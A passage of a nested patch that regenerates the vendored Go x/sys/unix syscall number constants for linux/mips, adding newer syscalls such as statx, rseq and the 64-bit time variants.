-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go
-index 939567c0..68bb6d29 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build mips,linux
-@@ -6,369 +6,416 @@
- package unix
-
- const (
-- SYS_SYSCALL = 4000
-- SYS_EXIT = 4001
-- SYS_FORK = 4002
-- SYS_READ = 4003
-- SYS_WRITE = 4004
-- SYS_OPEN = 4005
-- SYS_CLOSE = 4006
-- SYS_WAITPID = 4007
-- SYS_CREAT = 4008
-- SYS_LINK = 4009
-- SYS_UNLINK = 4010
-- SYS_EXECVE = 4011
-- SYS_CHDIR = 4012
-- SYS_TIME = 4013
-- SYS_MKNOD = 4014
-- SYS_CHMOD = 4015
-- SYS_LCHOWN = 4016
-- SYS_BREAK = 4017
-- SYS_UNUSED18 = 4018
-- SYS_LSEEK = 4019
-- SYS_GETPID = 4020
-- SYS_MOUNT = 4021
-- SYS_UMOUNT = 4022
-- SYS_SETUID = 4023
-- SYS_GETUID = 4024
-- SYS_STIME = 4025
-- SYS_PTRACE = 4026
-- SYS_ALARM = 4027
-- SYS_UNUSED28 = 4028
-- SYS_PAUSE = 4029
-- SYS_UTIME = 4030
-- SYS_STTY = 4031
-- SYS_GTTY = 4032
-- SYS_ACCESS = 4033
-- SYS_NICE = 4034
-- SYS_FTIME = 4035
-- SYS_SYNC = 4036
-- SYS_KILL = 4037
-- SYS_RENAME = 4038
-- SYS_MKDIR = 4039
-- SYS_RMDIR = 4040
-- SYS_DUP = 4041
-- SYS_PIPE = 4042
-- SYS_TIMES = 4043
-- SYS_PROF = 4044
-- SYS_BRK = 4045
-- SYS_SETGID = 4046
-- SYS_GETGID = 4047
-- SYS_SIGNAL = 4048
-- SYS_GETEUID = 4049
-- SYS_GETEGID = 4050
-- SYS_ACCT = 4051
-- SYS_UMOUNT2 = 4052
-- SYS_LOCK = 4053
-- SYS_IOCTL = 4054
-- SYS_FCNTL = 4055
-- SYS_MPX = 4056
-- SYS_SETPGID = 4057
-- SYS_ULIMIT = 4058
-- SYS_UNUSED59 = 4059
-- SYS_UMASK = 4060
-- SYS_CHROOT = 4061
-- SYS_USTAT = 4062
-- SYS_DUP2 = 4063
-- SYS_GETPPID = 4064
-- SYS_GETPGRP = 4065
-- SYS_SETSID = 4066
-- SYS_SIGACTION = 4067
-- SYS_SGETMASK = 4068
-- SYS_SSETMASK = 4069
-- SYS_SETREUID = 4070
-- SYS_SETREGID = 4071
-- SYS_SIGSUSPEND = 4072
-- SYS_SIGPENDING = 4073
-- SYS_SETHOSTNAME = 4074
-- SYS_SETRLIMIT = 4075
-- SYS_GETRLIMIT = 4076
-- SYS_GETRUSAGE = 4077
-- SYS_GETTIMEOFDAY = 4078
-- SYS_SETTIMEOFDAY = 4079
-- SYS_GETGROUPS = 4080
-- SYS_SETGROUPS = 4081
-- SYS_RESERVED82 = 4082
-- SYS_SYMLINK = 4083
-- SYS_UNUSED84 = 4084
-- SYS_READLINK = 4085
-- SYS_USELIB = 4086
-- SYS_SWAPON = 4087
-- SYS_REBOOT = 4088
-- SYS_READDIR = 4089
-- SYS_MMAP = 4090
-- SYS_MUNMAP = 4091
-- SYS_TRUNCATE = 4092
-- SYS_FTRUNCATE = 4093
-- SYS_FCHMOD = 4094
-- SYS_FCHOWN = 4095
-- SYS_GETPRIORITY = 4096
-- SYS_SETPRIORITY = 4097
-- SYS_PROFIL = 4098
-- SYS_STATFS = 4099
-- SYS_FSTATFS = 4100
-- SYS_IOPERM = 4101
-- SYS_SOCKETCALL = 4102
-- SYS_SYSLOG = 4103
-- SYS_SETITIMER = 4104
-- SYS_GETITIMER = 4105
-- SYS_STAT = 4106
-- SYS_LSTAT = 4107
-- SYS_FSTAT = 4108
-- SYS_UNUSED109 = 4109
-- SYS_IOPL = 4110
-- SYS_VHANGUP = 4111
-- SYS_IDLE = 4112
-- SYS_VM86 = 4113
-- SYS_WAIT4 = 4114
-- SYS_SWAPOFF = 4115
-- SYS_SYSINFO = 4116
-- SYS_IPC = 4117
-- SYS_FSYNC = 4118
-- SYS_SIGRETURN = 4119
-- SYS_CLONE = 4120
-- SYS_SETDOMAINNAME = 4121
-- SYS_UNAME = 4122
-- SYS_MODIFY_LDT = 4123
-- SYS_ADJTIMEX = 4124
-- SYS_MPROTECT = 4125
-- SYS_SIGPROCMASK = 4126
-- SYS_CREATE_MODULE = 4127
-- SYS_INIT_MODULE = 4128
-- SYS_DELETE_MODULE = 4129
-- SYS_GET_KERNEL_SYMS = 4130
-- SYS_QUOTACTL = 4131
-- SYS_GETPGID = 4132
-- SYS_FCHDIR = 4133
-- SYS_BDFLUSH = 4134
-- SYS_SYSFS = 4135
-- SYS_PERSONALITY = 4136
-- SYS_AFS_SYSCALL = 4137
-- SYS_SETFSUID = 4138
-- SYS_SETFSGID = 4139
-- SYS__LLSEEK = 4140
-- SYS_GETDENTS = 4141
-- SYS__NEWSELECT = 4142
-- SYS_FLOCK = 4143
-- SYS_MSYNC = 4144
-- SYS_READV = 4145
-- SYS_WRITEV = 4146
-- SYS_CACHEFLUSH = 4147
-- SYS_CACHECTL = 4148
-- SYS_SYSMIPS = 4149
-- SYS_UNUSED150 = 4150
-- SYS_GETSID = 4151
-- SYS_FDATASYNC = 4152
-- SYS__SYSCTL = 4153
-- SYS_MLOCK = 4154
-- SYS_MUNLOCK = 4155
-- SYS_MLOCKALL = 4156
-- SYS_MUNLOCKALL = 4157
-- SYS_SCHED_SETPARAM = 4158
-- SYS_SCHED_GETPARAM = 4159
-- SYS_SCHED_SETSCHEDULER = 4160
-- SYS_SCHED_GETSCHEDULER = 4161
-- SYS_SCHED_YIELD = 4162
-- SYS_SCHED_GET_PRIORITY_MAX = 4163
-- SYS_SCHED_GET_PRIORITY_MIN = 4164
-- SYS_SCHED_RR_GET_INTERVAL = 4165
-- SYS_NANOSLEEP = 4166
-- SYS_MREMAP = 4167
-- SYS_ACCEPT = 4168
-- SYS_BIND = 4169
-- SYS_CONNECT = 4170
-- SYS_GETPEERNAME = 4171
-- SYS_GETSOCKNAME = 4172
-- SYS_GETSOCKOPT = 4173
-- SYS_LISTEN = 4174
-- SYS_RECV = 4175
-- SYS_RECVFROM = 4176
-- SYS_RECVMSG = 4177
-- SYS_SEND = 4178
-- SYS_SENDMSG = 4179
-- SYS_SENDTO = 4180
-- SYS_SETSOCKOPT = 4181
-- SYS_SHUTDOWN = 4182
-- SYS_SOCKET = 4183
-- SYS_SOCKETPAIR = 4184
-- SYS_SETRESUID = 4185
-- SYS_GETRESUID = 4186
-- SYS_QUERY_MODULE = 4187
-- SYS_POLL = 4188
-- SYS_NFSSERVCTL = 4189
-- SYS_SETRESGID = 4190
-- SYS_GETRESGID = 4191
-- SYS_PRCTL = 4192
-- SYS_RT_SIGRETURN = 4193
-- SYS_RT_SIGACTION = 4194
-- SYS_RT_SIGPROCMASK = 4195
-- SYS_RT_SIGPENDING = 4196
-- SYS_RT_SIGTIMEDWAIT = 4197
-- SYS_RT_SIGQUEUEINFO = 4198
-- SYS_RT_SIGSUSPEND = 4199
-- SYS_PREAD64 = 4200
-- SYS_PWRITE64 = 4201
-- SYS_CHOWN = 4202
-- SYS_GETCWD = 4203
-- SYS_CAPGET = 4204
-- SYS_CAPSET = 4205
-- SYS_SIGALTSTACK = 4206
-- SYS_SENDFILE = 4207
-- SYS_GETPMSG = 4208
-- SYS_PUTPMSG = 4209
-- SYS_MMAP2 = 4210
-- SYS_TRUNCATE64 = 4211
-- SYS_FTRUNCATE64 = 4212
-- SYS_STAT64 = 4213
-- SYS_LSTAT64 = 4214
-- SYS_FSTAT64 = 4215
-- SYS_PIVOT_ROOT = 4216
-- SYS_MINCORE = 4217
-- SYS_MADVISE = 4218
-- SYS_GETDENTS64 = 4219
-- SYS_FCNTL64 = 4220
-- SYS_RESERVED221 = 4221
-- SYS_GETTID = 4222
-- SYS_READAHEAD = 4223
-- SYS_SETXATTR = 4224
-- SYS_LSETXATTR = 4225
-- SYS_FSETXATTR = 4226
-- SYS_GETXATTR = 4227
-- SYS_LGETXATTR = 4228
-- SYS_FGETXATTR = 4229
-- SYS_LISTXATTR = 4230
-- SYS_LLISTXATTR = 4231
-- SYS_FLISTXATTR = 4232
-- SYS_REMOVEXATTR = 4233
-- SYS_LREMOVEXATTR = 4234
-- SYS_FREMOVEXATTR = 4235
-- SYS_TKILL = 4236
-- SYS_SENDFILE64 = 4237
-- SYS_FUTEX = 4238
-- SYS_SCHED_SETAFFINITY = 4239
-- SYS_SCHED_GETAFFINITY = 4240
-- SYS_IO_SETUP = 4241
-- SYS_IO_DESTROY = 4242
-- SYS_IO_GETEVENTS = 4243
-- SYS_IO_SUBMIT = 4244
-- SYS_IO_CANCEL = 4245
-- SYS_EXIT_GROUP = 4246
-- SYS_LOOKUP_DCOOKIE = 4247
-- SYS_EPOLL_CREATE = 4248
-- SYS_EPOLL_CTL = 4249
-- SYS_EPOLL_WAIT = 4250
-- SYS_REMAP_FILE_PAGES = 4251
-- SYS_SET_TID_ADDRESS = 4252
-- SYS_RESTART_SYSCALL = 4253
-- SYS_FADVISE64 = 4254
-- SYS_STATFS64 = 4255
-- SYS_FSTATFS64 = 4256
-- SYS_TIMER_CREATE = 4257
-- SYS_TIMER_SETTIME = 4258
-- SYS_TIMER_GETTIME = 4259
-- SYS_TIMER_GETOVERRUN = 4260
-- SYS_TIMER_DELETE = 4261
-- SYS_CLOCK_SETTIME = 4262
-- SYS_CLOCK_GETTIME = 4263
-- SYS_CLOCK_GETRES = 4264
-- SYS_CLOCK_NANOSLEEP = 4265
-- SYS_TGKILL = 4266
-- SYS_UTIMES = 4267
-- SYS_MBIND = 4268
-- SYS_GET_MEMPOLICY = 4269
-- SYS_SET_MEMPOLICY = 4270
-- SYS_MQ_OPEN = 4271
-- SYS_MQ_UNLINK = 4272
-- SYS_MQ_TIMEDSEND = 4273
-- SYS_MQ_TIMEDRECEIVE = 4274
-- SYS_MQ_NOTIFY = 4275
-- SYS_MQ_GETSETATTR = 4276
-- SYS_VSERVER = 4277
-- SYS_WAITID = 4278
-- SYS_ADD_KEY = 4280
-- SYS_REQUEST_KEY = 4281
-- SYS_KEYCTL = 4282
-- SYS_SET_THREAD_AREA = 4283
-- SYS_INOTIFY_INIT = 4284
-- SYS_INOTIFY_ADD_WATCH = 4285
-- SYS_INOTIFY_RM_WATCH = 4286
-- SYS_MIGRATE_PAGES = 4287
-- SYS_OPENAT = 4288
-- SYS_MKDIRAT = 4289
-- SYS_MKNODAT = 4290
-- SYS_FCHOWNAT = 4291
-- SYS_FUTIMESAT = 4292
-- SYS_FSTATAT64 = 4293
-- SYS_UNLINKAT = 4294
-- SYS_RENAMEAT = 4295
-- SYS_LINKAT = 4296
-- SYS_SYMLINKAT = 4297
-- SYS_READLINKAT = 4298
-- SYS_FCHMODAT = 4299
-- SYS_FACCESSAT = 4300
-- SYS_PSELECT6 = 4301
-- SYS_PPOLL = 4302
-- SYS_UNSHARE = 4303
-- SYS_SPLICE = 4304
-- SYS_SYNC_FILE_RANGE = 4305
-- SYS_TEE = 4306
-- SYS_VMSPLICE = 4307
-- SYS_MOVE_PAGES = 4308
-- SYS_SET_ROBUST_LIST = 4309
-- SYS_GET_ROBUST_LIST = 4310
-- SYS_KEXEC_LOAD = 4311
-- SYS_GETCPU = 4312
-- SYS_EPOLL_PWAIT = 4313
-- SYS_IOPRIO_SET = 4314
-- SYS_IOPRIO_GET = 4315
-- SYS_UTIMENSAT = 4316
-- SYS_SIGNALFD = 4317
-- SYS_TIMERFD = 4318
-- SYS_EVENTFD = 4319
-- SYS_FALLOCATE = 4320
-- SYS_TIMERFD_CREATE = 4321
-- SYS_TIMERFD_GETTIME = 4322
-- SYS_TIMERFD_SETTIME = 4323
-- SYS_SIGNALFD4 = 4324
-- SYS_EVENTFD2 = 4325
-- SYS_EPOLL_CREATE1 = 4326
-- SYS_DUP3 = 4327
-- SYS_PIPE2 = 4328
-- SYS_INOTIFY_INIT1 = 4329
-- SYS_PREADV = 4330
-- SYS_PWRITEV = 4331
-- SYS_RT_TGSIGQUEUEINFO = 4332
-- SYS_PERF_EVENT_OPEN = 4333
-- SYS_ACCEPT4 = 4334
-- SYS_RECVMMSG = 4335
-- SYS_FANOTIFY_INIT = 4336
-- SYS_FANOTIFY_MARK = 4337
-- SYS_PRLIMIT64 = 4338
-- SYS_NAME_TO_HANDLE_AT = 4339
-- SYS_OPEN_BY_HANDLE_AT = 4340
-- SYS_CLOCK_ADJTIME = 4341
-- SYS_SYNCFS = 4342
-- SYS_SENDMMSG = 4343
-- SYS_SETNS = 4344
-- SYS_PROCESS_VM_READV = 4345
-- SYS_PROCESS_VM_WRITEV = 4346
-- SYS_KCMP = 4347
-- SYS_FINIT_MODULE = 4348
-- SYS_SCHED_SETATTR = 4349
-- SYS_SCHED_GETATTR = 4350
-- SYS_RENAMEAT2 = 4351
-- SYS_SECCOMP = 4352
-- SYS_GETRANDOM = 4353
-- SYS_MEMFD_CREATE = 4354
-- SYS_BPF = 4355
-- SYS_EXECVEAT = 4356
-- SYS_USERFAULTFD = 4357
-- SYS_MEMBARRIER = 4358
-- SYS_MLOCK2 = 4359
-- SYS_COPY_FILE_RANGE = 4360
-- SYS_PREADV2 = 4361
-- SYS_PWRITEV2 = 4362
-- SYS_PKEY_MPROTECT = 4363
-- SYS_PKEY_ALLOC = 4364
-- SYS_PKEY_FREE = 4365
-+ SYS_SYSCALL = 4000
-+ SYS_EXIT = 4001
-+ SYS_FORK = 4002
-+ SYS_READ = 4003
-+ SYS_WRITE = 4004
-+ SYS_OPEN = 4005
-+ SYS_CLOSE = 4006
-+ SYS_WAITPID = 4007
-+ SYS_CREAT = 4008
-+ SYS_LINK = 4009
-+ SYS_UNLINK = 4010
-+ SYS_EXECVE = 4011
-+ SYS_CHDIR = 4012
-+ SYS_TIME = 4013
-+ SYS_MKNOD = 4014
-+ SYS_CHMOD = 4015
-+ SYS_LCHOWN = 4016
-+ SYS_BREAK = 4017
-+ SYS_UNUSED18 = 4018
-+ SYS_LSEEK = 4019
-+ SYS_GETPID = 4020
-+ SYS_MOUNT = 4021
-+ SYS_UMOUNT = 4022
-+ SYS_SETUID = 4023
-+ SYS_GETUID = 4024
-+ SYS_STIME = 4025
-+ SYS_PTRACE = 4026
-+ SYS_ALARM = 4027
-+ SYS_UNUSED28 = 4028
-+ SYS_PAUSE = 4029
-+ SYS_UTIME = 4030
-+ SYS_STTY = 4031
-+ SYS_GTTY = 4032
-+ SYS_ACCESS = 4033
-+ SYS_NICE = 4034
-+ SYS_FTIME = 4035
-+ SYS_SYNC = 4036
-+ SYS_KILL = 4037
-+ SYS_RENAME = 4038
-+ SYS_MKDIR = 4039
-+ SYS_RMDIR = 4040
-+ SYS_DUP = 4041
-+ SYS_PIPE = 4042
-+ SYS_TIMES = 4043
-+ SYS_PROF = 4044
-+ SYS_BRK = 4045
-+ SYS_SETGID = 4046
-+ SYS_GETGID = 4047
-+ SYS_SIGNAL = 4048
-+ SYS_GETEUID = 4049
-+ SYS_GETEGID = 4050
-+ SYS_ACCT = 4051
-+ SYS_UMOUNT2 = 4052
-+ SYS_LOCK = 4053
-+ SYS_IOCTL = 4054
-+ SYS_FCNTL = 4055
-+ SYS_MPX = 4056
-+ SYS_SETPGID = 4057
-+ SYS_ULIMIT = 4058
-+ SYS_UNUSED59 = 4059
-+ SYS_UMASK = 4060
-+ SYS_CHROOT = 4061
-+ SYS_USTAT = 4062
-+ SYS_DUP2 = 4063
-+ SYS_GETPPID = 4064
-+ SYS_GETPGRP = 4065
-+ SYS_SETSID = 4066
-+ SYS_SIGACTION = 4067
-+ SYS_SGETMASK = 4068
-+ SYS_SSETMASK = 4069
-+ SYS_SETREUID = 4070
-+ SYS_SETREGID = 4071
-+ SYS_SIGSUSPEND = 4072
-+ SYS_SIGPENDING = 4073
-+ SYS_SETHOSTNAME = 4074
-+ SYS_SETRLIMIT = 4075
-+ SYS_GETRLIMIT = 4076
-+ SYS_GETRUSAGE = 4077
-+ SYS_GETTIMEOFDAY = 4078
-+ SYS_SETTIMEOFDAY = 4079
-+ SYS_GETGROUPS = 4080
-+ SYS_SETGROUPS = 4081
-+ SYS_RESERVED82 = 4082
-+ SYS_SYMLINK = 4083
-+ SYS_UNUSED84 = 4084
-+ SYS_READLINK = 4085
-+ SYS_USELIB = 4086
-+ SYS_SWAPON = 4087
-+ SYS_REBOOT = 4088
-+ SYS_READDIR = 4089
-+ SYS_MMAP = 4090
-+ SYS_MUNMAP = 4091
-+ SYS_TRUNCATE = 4092
-+ SYS_FTRUNCATE = 4093
-+ SYS_FCHMOD = 4094
-+ SYS_FCHOWN = 4095
-+ SYS_GETPRIORITY = 4096
-+ SYS_SETPRIORITY = 4097
-+ SYS_PROFIL = 4098
-+ SYS_STATFS = 4099
-+ SYS_FSTATFS = 4100
-+ SYS_IOPERM = 4101
-+ SYS_SOCKETCALL = 4102
-+ SYS_SYSLOG = 4103
-+ SYS_SETITIMER = 4104
-+ SYS_GETITIMER = 4105
-+ SYS_STAT = 4106
-+ SYS_LSTAT = 4107
-+ SYS_FSTAT = 4108
-+ SYS_UNUSED109 = 4109
-+ SYS_IOPL = 4110
-+ SYS_VHANGUP = 4111
-+ SYS_IDLE = 4112
-+ SYS_VM86 = 4113
-+ SYS_WAIT4 = 4114
-+ SYS_SWAPOFF = 4115
-+ SYS_SYSINFO = 4116
-+ SYS_IPC = 4117
-+ SYS_FSYNC = 4118
-+ SYS_SIGRETURN = 4119
-+ SYS_CLONE = 4120
-+ SYS_SETDOMAINNAME = 4121
-+ SYS_UNAME = 4122
-+ SYS_MODIFY_LDT = 4123
-+ SYS_ADJTIMEX = 4124
-+ SYS_MPROTECT = 4125
-+ SYS_SIGPROCMASK = 4126
-+ SYS_CREATE_MODULE = 4127
-+ SYS_INIT_MODULE = 4128
-+ SYS_DELETE_MODULE = 4129
-+ SYS_GET_KERNEL_SYMS = 4130
-+ SYS_QUOTACTL = 4131
-+ SYS_GETPGID = 4132
-+ SYS_FCHDIR = 4133
-+ SYS_BDFLUSH = 4134
-+ SYS_SYSFS = 4135
-+ SYS_PERSONALITY = 4136
-+ SYS_AFS_SYSCALL = 4137
-+ SYS_SETFSUID = 4138
-+ SYS_SETFSGID = 4139
-+ SYS__LLSEEK = 4140
-+ SYS_GETDENTS = 4141
-+ SYS__NEWSELECT = 4142
-+ SYS_FLOCK = 4143
-+ SYS_MSYNC = 4144
-+ SYS_READV = 4145
-+ SYS_WRITEV = 4146
-+ SYS_CACHEFLUSH = 4147
-+ SYS_CACHECTL = 4148
-+ SYS_SYSMIPS = 4149
-+ SYS_UNUSED150 = 4150
-+ SYS_GETSID = 4151
-+ SYS_FDATASYNC = 4152
-+ SYS__SYSCTL = 4153
-+ SYS_MLOCK = 4154
-+ SYS_MUNLOCK = 4155
-+ SYS_MLOCKALL = 4156
-+ SYS_MUNLOCKALL = 4157
-+ SYS_SCHED_SETPARAM = 4158
-+ SYS_SCHED_GETPARAM = 4159
-+ SYS_SCHED_SETSCHEDULER = 4160
-+ SYS_SCHED_GETSCHEDULER = 4161
-+ SYS_SCHED_YIELD = 4162
-+ SYS_SCHED_GET_PRIORITY_MAX = 4163
-+ SYS_SCHED_GET_PRIORITY_MIN = 4164
-+ SYS_SCHED_RR_GET_INTERVAL = 4165
-+ SYS_NANOSLEEP = 4166
-+ SYS_MREMAP = 4167
-+ SYS_ACCEPT = 4168
-+ SYS_BIND = 4169
-+ SYS_CONNECT = 4170
-+ SYS_GETPEERNAME = 4171
-+ SYS_GETSOCKNAME = 4172
-+ SYS_GETSOCKOPT = 4173
-+ SYS_LISTEN = 4174
-+ SYS_RECV = 4175
-+ SYS_RECVFROM = 4176
-+ SYS_RECVMSG = 4177
-+ SYS_SEND = 4178
-+ SYS_SENDMSG = 4179
-+ SYS_SENDTO = 4180
-+ SYS_SETSOCKOPT = 4181
-+ SYS_SHUTDOWN = 4182
-+ SYS_SOCKET = 4183
-+ SYS_SOCKETPAIR = 4184
-+ SYS_SETRESUID = 4185
-+ SYS_GETRESUID = 4186
-+ SYS_QUERY_MODULE = 4187
-+ SYS_POLL = 4188
-+ SYS_NFSSERVCTL = 4189
-+ SYS_SETRESGID = 4190
-+ SYS_GETRESGID = 4191
-+ SYS_PRCTL = 4192
-+ SYS_RT_SIGRETURN = 4193
-+ SYS_RT_SIGACTION = 4194
-+ SYS_RT_SIGPROCMASK = 4195
-+ SYS_RT_SIGPENDING = 4196
-+ SYS_RT_SIGTIMEDWAIT = 4197
-+ SYS_RT_SIGQUEUEINFO = 4198
-+ SYS_RT_SIGSUSPEND = 4199
-+ SYS_PREAD64 = 4200
-+ SYS_PWRITE64 = 4201
-+ SYS_CHOWN = 4202
-+ SYS_GETCWD = 4203
-+ SYS_CAPGET = 4204
-+ SYS_CAPSET = 4205
-+ SYS_SIGALTSTACK = 4206
-+ SYS_SENDFILE = 4207
-+ SYS_GETPMSG = 4208
-+ SYS_PUTPMSG = 4209
-+ SYS_MMAP2 = 4210
-+ SYS_TRUNCATE64 = 4211
-+ SYS_FTRUNCATE64 = 4212
-+ SYS_STAT64 = 4213
-+ SYS_LSTAT64 = 4214
-+ SYS_FSTAT64 = 4215
-+ SYS_PIVOT_ROOT = 4216
-+ SYS_MINCORE = 4217
-+ SYS_MADVISE = 4218
-+ SYS_GETDENTS64 = 4219
-+ SYS_FCNTL64 = 4220
-+ SYS_RESERVED221 = 4221
-+ SYS_GETTID = 4222
-+ SYS_READAHEAD = 4223
-+ SYS_SETXATTR = 4224
-+ SYS_LSETXATTR = 4225
-+ SYS_FSETXATTR = 4226
-+ SYS_GETXATTR = 4227
-+ SYS_LGETXATTR = 4228
-+ SYS_FGETXATTR = 4229
-+ SYS_LISTXATTR = 4230
-+ SYS_LLISTXATTR = 4231
-+ SYS_FLISTXATTR = 4232
-+ SYS_REMOVEXATTR = 4233
-+ SYS_LREMOVEXATTR = 4234
-+ SYS_FREMOVEXATTR = 4235
-+ SYS_TKILL = 4236
-+ SYS_SENDFILE64 = 4237
-+ SYS_FUTEX = 4238
-+ SYS_SCHED_SETAFFINITY = 4239
-+ SYS_SCHED_GETAFFINITY = 4240
-+ SYS_IO_SETUP = 4241
-+ SYS_IO_DESTROY = 4242
-+ SYS_IO_GETEVENTS = 4243
-+ SYS_IO_SUBMIT = 4244
-+ SYS_IO_CANCEL = 4245
-+ SYS_EXIT_GROUP = 4246
-+ SYS_LOOKUP_DCOOKIE = 4247
-+ SYS_EPOLL_CREATE = 4248
-+ SYS_EPOLL_CTL = 4249
-+ SYS_EPOLL_WAIT = 4250
-+ SYS_REMAP_FILE_PAGES = 4251
-+ SYS_SET_TID_ADDRESS = 4252
-+ SYS_RESTART_SYSCALL = 4253
-+ SYS_FADVISE64 = 4254
-+ SYS_STATFS64 = 4255
-+ SYS_FSTATFS64 = 4256
-+ SYS_TIMER_CREATE = 4257
-+ SYS_TIMER_SETTIME = 4258
-+ SYS_TIMER_GETTIME = 4259
-+ SYS_TIMER_GETOVERRUN = 4260
-+ SYS_TIMER_DELETE = 4261
-+ SYS_CLOCK_SETTIME = 4262
-+ SYS_CLOCK_GETTIME = 4263
-+ SYS_CLOCK_GETRES = 4264
-+ SYS_CLOCK_NANOSLEEP = 4265
-+ SYS_TGKILL = 4266
-+ SYS_UTIMES = 4267
-+ SYS_MBIND = 4268
-+ SYS_GET_MEMPOLICY = 4269
-+ SYS_SET_MEMPOLICY = 4270
-+ SYS_MQ_OPEN = 4271
-+ SYS_MQ_UNLINK = 4272
-+ SYS_MQ_TIMEDSEND = 4273
-+ SYS_MQ_TIMEDRECEIVE = 4274
-+ SYS_MQ_NOTIFY = 4275
-+ SYS_MQ_GETSETATTR = 4276
-+ SYS_VSERVER = 4277
-+ SYS_WAITID = 4278
-+ SYS_ADD_KEY = 4280
-+ SYS_REQUEST_KEY = 4281
-+ SYS_KEYCTL = 4282
-+ SYS_SET_THREAD_AREA = 4283
-+ SYS_INOTIFY_INIT = 4284
-+ SYS_INOTIFY_ADD_WATCH = 4285
-+ SYS_INOTIFY_RM_WATCH = 4286
-+ SYS_MIGRATE_PAGES = 4287
-+ SYS_OPENAT = 4288
-+ SYS_MKDIRAT = 4289
-+ SYS_MKNODAT = 4290
-+ SYS_FCHOWNAT = 4291
-+ SYS_FUTIMESAT = 4292
-+ SYS_FSTATAT64 = 4293
-+ SYS_UNLINKAT = 4294
-+ SYS_RENAMEAT = 4295
-+ SYS_LINKAT = 4296
-+ SYS_SYMLINKAT = 4297
-+ SYS_READLINKAT = 4298
-+ SYS_FCHMODAT = 4299
-+ SYS_FACCESSAT = 4300
-+ SYS_PSELECT6 = 4301
-+ SYS_PPOLL = 4302
-+ SYS_UNSHARE = 4303
-+ SYS_SPLICE = 4304
-+ SYS_SYNC_FILE_RANGE = 4305
-+ SYS_TEE = 4306
-+ SYS_VMSPLICE = 4307
-+ SYS_MOVE_PAGES = 4308
-+ SYS_SET_ROBUST_LIST = 4309
-+ SYS_GET_ROBUST_LIST = 4310
-+ SYS_KEXEC_LOAD = 4311
-+ SYS_GETCPU = 4312
-+ SYS_EPOLL_PWAIT = 4313
-+ SYS_IOPRIO_SET = 4314
-+ SYS_IOPRIO_GET = 4315
-+ SYS_UTIMENSAT = 4316
-+ SYS_SIGNALFD = 4317
-+ SYS_TIMERFD = 4318
-+ SYS_EVENTFD = 4319
-+ SYS_FALLOCATE = 4320
-+ SYS_TIMERFD_CREATE = 4321
-+ SYS_TIMERFD_GETTIME = 4322
-+ SYS_TIMERFD_SETTIME = 4323
-+ SYS_SIGNALFD4 = 4324
-+ SYS_EVENTFD2 = 4325
-+ SYS_EPOLL_CREATE1 = 4326
-+ SYS_DUP3 = 4327
-+ SYS_PIPE2 = 4328
-+ SYS_INOTIFY_INIT1 = 4329
-+ SYS_PREADV = 4330
-+ SYS_PWRITEV = 4331
-+ SYS_RT_TGSIGQUEUEINFO = 4332
-+ SYS_PERF_EVENT_OPEN = 4333
-+ SYS_ACCEPT4 = 4334
-+ SYS_RECVMMSG = 4335
-+ SYS_FANOTIFY_INIT = 4336
-+ SYS_FANOTIFY_MARK = 4337
-+ SYS_PRLIMIT64 = 4338
-+ SYS_NAME_TO_HANDLE_AT = 4339
-+ SYS_OPEN_BY_HANDLE_AT = 4340
-+ SYS_CLOCK_ADJTIME = 4341
-+ SYS_SYNCFS = 4342
-+ SYS_SENDMMSG = 4343
-+ SYS_SETNS = 4344
-+ SYS_PROCESS_VM_READV = 4345
-+ SYS_PROCESS_VM_WRITEV = 4346
-+ SYS_KCMP = 4347
-+ SYS_FINIT_MODULE = 4348
-+ SYS_SCHED_SETATTR = 4349
-+ SYS_SCHED_GETATTR = 4350
-+ SYS_RENAMEAT2 = 4351
-+ SYS_SECCOMP = 4352
-+ SYS_GETRANDOM = 4353
-+ SYS_MEMFD_CREATE = 4354
-+ SYS_BPF = 4355
-+ SYS_EXECVEAT = 4356
-+ SYS_USERFAULTFD = 4357
-+ SYS_MEMBARRIER = 4358
-+ SYS_MLOCK2 = 4359
-+ SYS_COPY_FILE_RANGE = 4360
-+ SYS_PREADV2 = 4361
-+ SYS_PWRITEV2 = 4362
-+ SYS_PKEY_MPROTECT = 4363
-+ SYS_PKEY_ALLOC = 4364
-+ SYS_PKEY_FREE = 4365
-+ SYS_STATX = 4366
-+ SYS_RSEQ = 4367
-+ SYS_IO_PGETEVENTS = 4368
-+ SYS_SEMGET = 4393
-+ SYS_SEMCTL = 4394
-+ SYS_SHMGET = 4395
-+ SYS_SHMCTL = 4396
-+ SYS_SHMAT = 4397
-+ SYS_SHMDT = 4398
-+ SYS_MSGGET = 4399
-+ SYS_MSGSND = 4400
-+ SYS_MSGRCV = 4401
-+ SYS_MSGCTL = 4402
-+ SYS_CLOCK_GETTIME64 = 4403
-+ SYS_CLOCK_SETTIME64 = 4404
-+ SYS_CLOCK_ADJTIME64 = 4405
-+ SYS_CLOCK_GETRES_TIME64 = 4406
-+ SYS_CLOCK_NANOSLEEP_TIME64 = 4407
-+ SYS_TIMER_GETTIME64 = 4408
-+ SYS_TIMER_SETTIME64 = 4409
-+ SYS_TIMERFD_GETTIME64 = 4410
-+ SYS_TIMERFD_SETTIME64 = 4411
-+ SYS_UTIMENSAT_TIME64 = 4412
-+ SYS_PSELECT6_TIME64 = 4413
-+ SYS_PPOLL_TIME64 = 4414
-+ SYS_IO_PGETEVENTS_TIME64 = 4416
-+ SYS_RECVMMSG_TIME64 = 4417
-+ SYS_MQ_TIMEDSEND_TIME64 = 4418
-+ SYS_MQ_TIMEDRECEIVE_TIME64 = 4419
-+ SYS_SEMTIMEDOP_TIME64 = 4420
-+ SYS_RT_SIGTIMEDWAIT_TIME64 = 4421
-+ SYS_FUTEX_TIME64 = 4422
